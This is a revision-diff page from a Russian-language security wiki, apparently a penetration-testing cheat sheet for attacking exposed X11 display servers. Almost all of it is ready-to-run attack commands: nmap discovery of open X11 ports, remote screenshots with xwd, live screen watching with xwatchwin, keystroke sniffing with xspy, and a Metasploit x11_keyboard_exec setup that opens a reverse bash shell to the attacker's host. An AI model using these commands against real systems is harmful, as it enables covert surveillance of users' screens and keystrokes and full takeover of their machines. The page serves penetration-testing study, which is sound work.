X11 all — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Разведка)
м (Атаки)
Строка 36: Строка 36:
 
convert screenshot.xwd screenshot.png
 
convert screenshot.xwd screenshot.png
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
==Слежка за экраном==
 +
 +
===xwatchwin===
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
./xwatchwin target:0 -w window_id
 +
</syntaxhighlight>
 +
  
 
==Сниффер==
 
==Сниффер==
Строка 61: Строка 70:
 
run
 
run
 
</syntaxhighlight>
 
</syntaxhighlight>
 
  
 
=Ссылки=
 
=Ссылки=
  
 
[https://www.hackingarticles.in/penetration-testing-on-x11-server/ x11 туториал]
 
[https://www.hackingarticles.in/penetration-testing-on-x11-server/ x11 туториал]

Версия 09:23, 30 апреля 2020

Разведка

Поиск сервиса

nmap

1 nmap target -p 6000 --script x11-access

Проверка подключения

xdpyinfo

1 xdpyinfo -display <ip>:<display>

Информация об окнах

xwininfo

1 xwininfo -root -tree -display target:0

Атаки

Скриншоты

xwd

1 xwd -root -screen -silent -display target:0 > screenshot.xwd
2 convert screenshot.xwd screenshot.png

Слежка за экраном

xwatchwin

1 ./xwatchwin target:0 -w window_id


Сниффер

Сниффать нажатия

xspy

1 xspy target


RCE

x11_keyboard_exec

1 use unix/x11/x11_keyboard_exec
2 set rhost target
3 set payload cmd/unix/reverse_bash
4 set lhost myip
5 set lport myport
6 set time_wait 10
7 run

Ссылки

x11 туториал